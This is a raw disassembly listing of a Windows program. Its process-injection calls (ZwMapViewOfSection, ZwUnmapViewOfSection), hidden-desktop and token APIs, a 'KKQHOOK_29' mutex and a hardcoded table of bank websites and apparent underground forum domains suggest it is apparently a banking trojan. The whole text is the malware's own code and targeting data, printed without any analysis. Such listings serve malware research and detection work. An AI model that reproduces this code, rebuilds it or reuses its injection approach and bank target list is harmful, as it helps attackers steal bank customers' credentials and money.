mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDB5
add eax, [edi+4]
add eax, [esi+34h]
add eax, 4E0811A1h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov ebx, [edi+4]
mov ecx, [edi+8]
mov edx, [edi+0Ch]
call sub_40BDB5
add eax, [edi]
add eax, [esi+10h]
add eax, 0F7537E82h
rol eax, 6
add eax, [edi+4]
mov [edi], eax
mov ebx, [edi]
mov ecx, [edi+4]
mov edx, [edi+8]
call sub_40BDB5
add eax, [edi+0Ch]
add eax, [esi+2Ch]
add eax, 0BD3AF235h
rol eax, 0Ah
add eax, [edi]
mov [edi+0Ch], eax
mov ebx, [edi+0Ch]
mov ecx, [edi]
mov edx, [edi+4]
call sub_40BDB5
add eax, [edi+8]
add eax, [esi+8]
add eax, 2AD7D2BBh
rol eax, 0Fh
add eax, [edi+0Ch]
mov [edi+8], eax
mov ebx, [edi+8]
mov ecx, [edi+0Ch]
mov edx, [edi]
call sub_40BDB5
add eax, [edi+4]
add eax, [esi+24h]
add eax, 0EB86D391h
rol eax, 15h
add eax, [edi+8]
mov [edi+4], eax
mov eax, dword_447BBC
add [edi], eax
mov eax, dword_447BC0
add [edi+4], eax
mov eax, dword_447BC4
add [edi+8], eax
mov eax, dword_447BC8
add [edi+0Ch], eax
popa
pop ebp
xor eax, eax
retn 8
sub_40BDE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C630 proc near ; CODE XREF: sub_4098A8+1010p
var_1C = dword ptr -1Ch
var_4 = word ptr -4
var_2 = word ptr -2
push ebp
mov ebp, esp
sub esp, 1Ch
fnstcw [ebp+var_2]
mov ax, [ebp+var_2]
or ah, 0Ch
mov [ebp+var_4], ax
fldcw [ebp+var_4]
fistp [esp+1Ch+var_1C]
mov eax, [esp+1Ch+var_1C]
fldcw [ebp+var_2]
leave
retn
sub_40C630 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40C654 proc near ; CODE XREF: start+66p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push edi
call GetCommandLineA ; GetCommandLineA
mov edi, eax
cmp byte ptr [edi], 22h
jnz short loc_40C688
push 22h ; Val
mov eax, edi
inc eax
push eax ; Str
call strchr ; strchr
add esp, 8
mov [ebp+var_4], eax
or eax, eax
jz short loc_40C6A3
mov edi, eax
inc edi
jmp short loc_40C680
; ---------------------------------------------------------------------------
loc_40C67F: ; CODE XREF: sub_40C654+2Fj
inc edi
loc_40C680: ; CODE XREF: sub_40C654+29j
cmp byte ptr [edi], 20h
jz short loc_40C67F
jmp short loc_40C6A3
; ---------------------------------------------------------------------------
loc_40C687: ; CODE XREF: sub_40C654+3Ej
inc edi
loc_40C688: ; CODE XREF: sub_40C654+Fj
movsx eax, byte ptr [edi]
or eax, eax
jz short loc_40C694
cmp eax, 20h
jnz short loc_40C687
loc_40C694: ; CODE XREF: sub_40C654+39j
jmp short loc_40C697
; ---------------------------------------------------------------------------
loc_40C696: ; CODE XREF: sub_40C654+4Dj
inc edi
loc_40C697: ; CODE XREF: sub_40C654:loc_40C694j
movsx eax, byte ptr [edi]
or eax, eax
jz short loc_40C6A3
cmp eax, 20h
jz short loc_40C696
loc_40C6A3: ; CODE XREF: sub_40C654+24j
; sub_40C654+31j ...
push 0 ; lpModuleName
call GetModuleHandleA ; GetModuleHandleA
push 1 ; int
push edi ; int
push 0 ; int
push eax ; hModule
call sub_40AA24
pop edi
leave
retn
sub_40C654 endp
; =============== S U B R O U T I N E =======================================
sub_40C6B8 proc near ; CODE XREF: sub_40133B+8p
; sub_402A48+8p ...
var_FFC = dword ptr -0FFCh
pop ecx
loc_40C6B9: ; CODE XREF: sub_40C6B8+14j
sub esp, 1000h
sub eax, 1000h
test [esp+0FFCh+var_FFC], eax
cmp eax, 1000h
jnb short loc_40C6B9
sub esp, eax
test [esp+0FFCh+var_FFC], eax
jmp ecx
sub_40C6B8 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_40C6D8 proc near ; CODE XREF: sub_401BB7+CCp
; sub_40523D+38p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
mov edx, [esp+arg_4]
xor eax, eax
mov ecx, 0FFFFFFFFh
xchg edi, edx
repne scasb
neg ecx
lea ecx, [ecx-1]
mov eax, [esp+arg_4]
xchg eax, esi
mov edi, [esp+arg_0]
rep movsb
xchg eax, esi
xchg edx, edi
mov eax, [esp+arg_0]
retn 8
sub_40C6D8 endp
; ---------------------------------------------------------------------------
align 4
; [00000006 BYTES: COLLAPSED FUNCTION DeleteFileA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION ExitProcess. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION ExpandEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetCommandLineA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentProcessId. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetCurrentThreadId. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetFileSize. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetFileTime. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetLastError. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleFileNameA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetModuleHandleA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetProcAddress. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetProcessHeap. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetSystemDirectoryA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CloseHandle. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetTempPathA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetTickCount. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetVersion. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetVersionExA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetVolumeInformationA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowsDirectoryA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GlobalAddAtomA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GlobalDeleteAtom. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GlobalFindAtomA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GlobalMemoryStatus. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION InterlockedIncrement. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION IsBadReadPtr. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION IsBadWritePtr. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION IsDebuggerPresent. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION LoadLibraryA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CopyFileA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION LocalAlloc. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION LocalFree. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION OpenMutexA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION OpenProcess. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION ReadFile. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RtlUnwind. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RtlZeroMemory. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CreateFileA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION SetFilePointer. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetFileTime. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION Sleep. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION TerminateProcess. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION VirtualAlloc. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION VirtualFree. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION VirtualQuery. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION WideCharToMultiByte. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION WinExec. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION WriteFile. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CreateMutexA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION lstrlenA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION lstrlenW. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CreateProcessA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CreateThread. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CallWindowProcA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowTextA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowRect. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION FindWindowA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetWindow. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetClassNameA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetFocus. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetForegroundWindow. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION LoadCursorA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION SetTimer. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION LoadIconA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION MessageBoxA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetMessageA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetWindowLongA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetWindowLongA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION CreateDesktopA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetThreadDesktop. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetThreadDesktop. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION TranslateMessage. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION DispatchMessageA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION wsprintfA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION SendMessageA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegisterClassA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION PostQuitMessage. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION ShowWindow. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION CreateWindowExA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION DestroyWindow. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION MoveWindow. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION DefWindowProcA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetStockObject. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetBkColor. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SetTextColor. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION CreateBrushIndirect. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION CreateFontA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION OpenProcessToken. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION GetTokenInformation. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegCreateKeyExA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION RegCloseKey. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegOpenKeyExA. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION RegQueryValueExA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION RegSetValueExA. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetSecurityInfo. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION SetSecurityInfo. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION SetEntriesInAclA. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetSidIdentifierAuthority. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION GetSidSubAuthority. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION GetSidSubAuthorityCount. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION _itoa. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION __GetMainArgs. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION _sleep. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION _stricmp. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION abs. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION exit. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION memcmp. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION memcpy. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION memset. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION raise. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION rand. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION signal. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION sprintf. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION srand. PRESS KEYPAD "+" TO EXPAND]
align 8
; [00000006 BYTES: COLLAPSED FUNCTION sscanf. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION strcat. PRESS KEYPAD "+" TO EXPAND]
align 10h
; [00000006 BYTES: COLLAPSED FUNCTION strchr. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0
; [00000006 BYTES: COLLAPSED FUNCTION strncmp. PRESS KEYPAD "+" TO EXPAND]
db 2 dup(90h)
dd 0DBh dup(0)
dword_40D000 dd 0 ; sub_4082AB+89r ...
dd 41Dh dup(0)
dword_40E078 dd 0 ; sub_40B2CA+C8r
dword_40E07C dd 0 ; sub_401D31+45Cw ...
; char byte_40E080[]
byte_40E080 db 100h dup(0) ; DATA XREF: sub_408048+1C8o
; sub_4098A8+709o ...
dword_40E180 dd 0 ; sub_40354F:loc_4035D1r
dd 413h dup(0)
dword_40F1D0 dd 0 ; sub_401D31+21Ew ...
dword_40F1D4 dd 0 ; sub_401D31+3E9r ...
dword_40F1D8 dd 0 ; sub_406D2E+FF5r ...
byte_40F1DC db 0 ; DATA XREF: sub_401D31+11Dw
align 10h
; char FileName[]
FileName db 100h dup(0) ; DATA XREF: sub_40133B+2Fo
; sub_40AA24+425o ...
; LPVOID lp
lp dd 0 ; DATA XREF: sub_402843+82r
; sub_402A48+D0w ...
dd 0FFh dup(0)
dword_40F6E0 dd 0 ; sub_40372A+96r
dd 44Eh dup(0)
; HWND dword_41081C
dword_41081C dd 0 ; sub_408ED0+855r ...
dword_410820 dd 0 ; .text:loc_401BADr
dd 41Fh dup(0)
dword_4118A0 dd 0 dd 0FFh dup(0)
dword_411CA0 dd 0 ; sub_403FD8+89r
dd 44Fh dup(0)
dword_412DE0 dd 0 ; .text:00402559r
dd 44Eh dup(0)
dword_413F1C dd 0 ; sub_40B2CA+DDr
; HWND dword_413F20
dword_413F20 dd 0 ; sub_408ED0+8ADr ...
align 10h
dword_413F30 dd 0 ; sub_408AB9+89r
dd 44Fh dup(0)
byte_415070 db 0 ; DATA XREF: sub_401D31+3F1w
align 8
byte_415078 db 0 ; DATA XREF: sub_401D31+5Fw
; sub_401D31+64r ...
align 4
dword_41507C dd 0 ; sub_401D31+1C8w ...
; char byte_415080[]
byte_415080 db 100h dup(0) ; DATA XREF: sub_4098A8+8C1o
; sub_4098A8+9ECo ...
; HMODULE hModule
hModule dd 0 ; DATA XREF: sub_402A48+A7w
; sub_402A48+C4r ...
dd 0FFh dup(0)
dword_415580 dd 0 ; sub_407FBC:loc_40803Er
dd 45Bh dup(0)
dword_4166F0 dd 0 ; .text:00401991r
dd 3FFh dup(0)
dword_4176F0 dd 0 ; sub_404491+8Er
dd 3F3h dup(0)
dword_4186C0 dd 0 ; .text:loc_40221Cr
dd 413h dup(0)
; struct _OSVERSIONINFOA VersionInformation
VersionInformation _OSVERSIONINFOA <0> ; DATA XREF: sub_40AA24+C3w
; sub_40AA24+D2o
align 10h
dword_4197B0 dd 0 ; sub_405138+81r
dd 40Fh dup(0)
dword_41A7F0 dd 0 ; .text:004014BFr
dd 3EBh dup(0)
byte_41B7A0 db 0 ; DATA XREF: sub_401D31+3B8w
; sub_401D31+3BDr
align 4
dword_41B7A4 dd 0 ; sub_401D31+D0r ...
dword_41B7A8 dd 0 dword_41B7AC dd 0 ; resolved to->NTDLL.ZwOpenSection ; sub_4022BB+FFr ...
dword_41B7B0 dd 0 ; sub_40129C+95r
dd 402h dup(0)
; HWND dword_41C7BC
dword_41C7BC dd 0 ; sub_40AA24+841r ...
dword_41C7C0 dd 0 ; sub_406815+A2r
dd 435h dup(0)
; HWND dword_41D898
dword_41D898 dd 0 ; sub_408ED0+21Er
; HWND hWnd
hWnd dd 0 ; DATA XREF: sub_408ED0+4Bw
; sub_408ED0+6Fr ...
dword_41D8A0 dd 0 ; resolved to->NTDLL.ZwUnmapViewOfSection ; sub_4024A8+13r
align 10h
dword_41D8B0 dd 0 ; sub_4032E2+84r
dd 401h dup(0)
dword_41E8B8 dd 0 ; sub_401D31:loc_401DBBw ...
; HWND dword_41E8BC
dword_41E8BC dd 0 ; sub_408ED0+74Fr ...
dword_41E8C0 dd 0 ; sub_40B2CA+ACr
; HWND dword_41E8C4
dword_41E8C4 dd 0 ; sub_408ED0+3B5r ...
dword_41E8C8 dd 0 ; resolved to->NTDLL.ZwMapViewOfSection ; sub_402445+53r
; HINSTANCE hInstance
hInstance dd 0 ; DATA XREF: sub_408ED0+9Cr
; sub_408ED0+10Fr ...
; char ExistingFileName[]
ExistingFileName db 100h dup(0) ; DATA XREF: sub_408B4C+A9o
; sub_4098A8+DD5o ...
dword_41E9D0 dd 0 ; sub_401D31+ACw ...
align 10h
dword_41E9E0 dd 0 ; sub_40390E:loc_403991r
dd 404h dup(0)
dword_41F9F4 dd 0 ; sub_40B2CA+9Cr
align 10h
; char byte_41FA00[]
byte_41FA00 db 100h dup(0) ; DATA XREF: sub_4098A8+642o
; sub_40AA24+3FFo ...
byte_41FB00 db 0 ; DATA XREF: sub_401D31+175w
align 4
; HWND hWndParent
hWndParent dd 0 ; DATA XREF: sub_408ED0+DCw
; sub_408ED0+117r ...
align 10h
; CHAR MultiByteStr
MultiByteStr db 0 ; DATA XREF: sub_406D2E+136o
; sub_406D2E+D2Fo ...
byte_41FB11 db 0 ; DATA XREF: sub_406D2E+EB1r
byte_41FB12 db 0 ; DATA XREF: sub_406D2E+EBAr
byte_41FB13 db 0 ; DATA XREF: sub_406D2E+EC3r
dd 3FFFh dup(0)
byte_42FB10 db 0 ; DATA XREF: sub_401D31+267w
; sub_401D31+26Cr
align 4
dword_42FB14 dd 0 ; .text:00407F76r ...
align 10h
dword_42FB20 dd 0 ; .text:loc_401810r
dd 43Fh dup(0)
dword_430C20 dd 0 ; resolved to->NTDLL.RtlNtStatusToDosErrordword_430C24 dd 0 ; sub_4022BB+17r
; HWND dword_430C28
dword_430C28 dd 0 ; sub_408ED0+23Fr ...
byte_430C2C db 0 ; DATA XREF: sub_401D31+2FAw
; sub_401D31+30Br ...
align 10h
dword_430C30 dd 0 ; .text:loc_4043C0r
dd 407h dup(0)
dword_431C50 dd 0 ; sub_406CA2:loc_406D24r
dd 459h dup(0)
; HWND dword_432DB8
dword_432DB8 dd 0 ; sub_408ED0+898r ...
dword_432DBC dd 0 ; sub_40B3E8+246r ...
; HWND dword_432DC0
dword_432DC0 dd 0 ; sub_408ED0+373r ...
align 10h
dword_432DD0 dd 0 ; .text:00408644r
dd 443h dup(0)
; char Buffer[]
Buffer db 100h dup(0) ; DATA XREF: sub_403A5F+64o
; sub_403BE7+221o ...
; char Format
Format db 0 ; DATA XREF: sub_40133B+ADo
; sub_408048+FCw ...
align 4
dd 3Fh dup(0)
dword_4340E0 dd 0 ; .text:00401A74r
dd 43Dh dup(0)
; HWND dword_4351D8
dword_4351D8 dd 0 ; sub_408ED0+8D0r ...
; HWND dword_4351DC
dword_4351DC dd 0 ; sub_408ED0+8E5r
dword_4351E0 dd 0 ; .text:00401600r
dd 41Bh dup(0)
dword_436250 dd 0 ; sub_404E2A:loc_404EBCr
dd 43Fh dup(0)
dword_437350 dd 0 ; .text:loc_401D27r
dd 423h dup(0)
dword_4383E0 dd 0 ; .text:loc_401725r
dd 45Fh dup(0)
dword_439560 dd 0 ; .text:00408934r
dd 3FDh dup(0)
dword_43A558 dd 0 ; sub_40B3E8+24Er ...
align 10h
byte_43A560 db 0 ; DATA XREF: sub_401D31+42Bw
align 10h
dword_43A570 dd 0 ; .text:00408737r
dword_43A574 dd 6A3h dup(0)
dd offset dword_40D000
dd offset dword_43A574+0FACh
dd 8000h, 0
dword_43C010 dd 0 ; sub_40109A+110w ...
dword_43C014 dd 0 dd 0
dword_43C01C dd 0 dword_43C020 dd 0 dword_43C024 dd 0 dword_43C028 dd 0 dword_43C02C dd 0 ; sub_40109A:loc_401208r
dword_43C030 dd 0 dword_43C034 dd 0 ; sub_40109A+87r ...
dword_43C038 dd 0 dword_43C03C dd 14h dup(0) ; sub_40109A+8Fo
dword_43C08C dd 0 dword_43C090 dd 0 ; sub_40109A+32w
dword_43C094 dd 5 ; sub_408ED0+47Ar ...
dword_43C098 dd 12h ; sub_408E12+6Er ...
dword_43C09C dd 0 ; sub_40129C:loc_4012CBr ...
; char Name[]
Name db 'KKQHOOK_29',0 ; DATA XREF: sub_40A9BC+20o
; sub_40AA24+5A3o
aGu? db 'gU',27h,'= ?',0
aOX2bn db 'O+X2Bn',0
aW db 'w',0
align 4
dword_43C0BC dd 0 ; sub_4098A8+153r ...
dword_43C0C0 dd 46h ; sub_4098A8+105Cr ...
off_43C0C4 dd offset aSiliconfirewar ; DATA XREF: sub_4098A8+126r
; sub_4098A8+159r
; "siliconfireware.ru"
dd offset aChechenpress_i ; "chechenpress.info"
dd offset aProdexteam_n_1 ; "prodexteam.net"
dd offset aProdexteam_net ; "prodexteam.net/main.htm"
dd offset aWww_cbr_ru ; "www.cbr.ru"
dd offset aWww_proxySocks ; "www.proxy-socks.net"
dd offset aProdexteam_n_0 ; "prodexteam.netcrutop.nu"
dd offset aNew_egg_com ; "new.egg.com"
dd offset aWww_baltbank_r ; "www.baltbank.ru"
dd offset aWelcome3_smile ; "welcome3.smile.co.uk"
dd offset aOlb2_nationet_ ; "olb2.nationet.com"
dd offset aWww_bbin_ru ; "www.bbin.ru"
dd offset aMasterX_com ; "master-x.com"
dd offset aEbookfinaltras ; "ebookfinaltrash.ru"
dd offset aWww_masterbank ; "www.masterbank.ru"
dd offset aWww_bankBanque ; "www.bank-banque-canada.ca/index.php"
dd offset aWww_bmo_com ; "www.bmo.com"
dd offset aWww_bankofmadu ; "www.bankofmadura.com"
dd offset aWww_cibc_com ; "www.cibc.com"
dd offset aWww_vtb_ru ; "www.vtb.ru"
dd offset aWww_cwbank_com ; "www.cwbank.com"
dd offset aHyperSpaceFuel ; "hyper-space-fuel.ru"
dd offset aAlfabank_ru ; "alfabank.ru"
dd offset aCrutop_nuVbull ; "crutop.nu/vbulletin/"
dd offset aWww_mmbank_ru ; "www.mmbank.ru"
dd offset aCrutop_nuVbu_0 ; "crutop.nu/vbulletin/forumdisplay.php"
dd offset aWww_uniastrum_ ; "www.uniastrum.ru"
dd offset aCrutop_nuVbu_1 ; "crutop.nu/vbulletin/showthread.php"
dd offset aAtmacasoft_com ; "atmacasoft.com"
